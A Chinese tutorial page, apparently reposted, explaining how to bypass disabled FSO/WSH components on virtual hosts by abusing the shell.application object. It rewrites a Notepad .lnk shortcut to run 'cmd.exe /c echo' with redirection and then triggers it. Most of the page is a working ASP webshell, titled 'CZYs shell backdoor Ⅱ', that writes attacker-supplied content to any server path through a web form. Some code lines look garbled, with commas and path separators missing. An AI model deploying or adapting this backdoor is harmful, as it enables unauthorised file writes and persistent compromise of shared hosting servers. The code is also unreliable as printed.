当前位置:编程学习 > 网站相关 >>

跨越FSO,WSH写文件

 
海洋木马想必各位都用过了吧,这个木马里调用的shell.application对象
对于很多虚拟主机来说几乎是必杀。这部份的代码最早是我写出来的,当初写代码的时
候主要是想证明一下shell.application对象对于虚拟主机的破坏性,所以在实用性上没
有做过多的考虑。
现在把代码也"升级"一下以实现了文件的写入因为对于禁用了FSOWSH的主机来说
写文件的确是一个难事. 你也许会问shell对象有写文件的功能吗?的确在MSDN中
并没有介绍但是shell对象可以对已存在的LNK/URL/PIF文件进行更改并且更改后可以保存为
别的文件名.
只能写LNK文件有用吗?这儿我们如果再使用shell对象的invokeverb方法来执行这个LNK
文件的话那我们不就能写任意文件了!为什么?因为LNK文件中指定的执行程序是可以加参数的
那么我们就可以调用cmd 的echo功能来写文件.
好思路在这儿了编程中遇到的实际问题如下:
1.要找到一个everyone可以仿问的LNK文件。找了一下发现:
"C:Documents and SettingsDefault User「开始」菜单\程序附件"目录下的默认LNK文件everyone
用户都默认具有读取权限.

2.利用cmd.exe /c echo来写件的时候">""<"双引号"&"等有特殊意义不能直接写入必须在它们的前面
使用转义符^.另外双引号在vb中也有特殊意义只有用chr(34)来代替.

 

<%
path=trim(Request.querystring("path"))
text=trim(Request.querystring("text"))
if text<>"" and path<>"" then
text=replace(text">""^>")
text=replace(text"<""^<")
text=replace(text"&""^&")
text=replace(textchr(34)"^"&chr(34))

set shell=server.createobject("shell.application")
set shellfolder=shell.namespace("C:Documents and SettingsDefault User「开始」菜单\程序附件")
set shellfolderitem=shellfolder.parsename("记事本.lnk")
set objshelllink =shellfolderitem.getlink
objshelllink.path="cmd.exe"
objshelllink.arguments="/c echo "&text&">"&path&" &&del c:a.lnk"
objshelllink.save("c:a.lnk")
shell.namespace("c:").items.item("a.lnk").invokeverb
end if
%>
<html>
<title>CZYs shell backdoor Ⅱ</title>
<form action=shell2.asp>
路径与文件名:<input type=text name=path size=40><p>
文件内容:<textarea name=text rows=20 cols=50 ></textarea><p>
<input type=submit value=生成文件>
</form>
</html>

补充:综合编程 , 安全编程 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,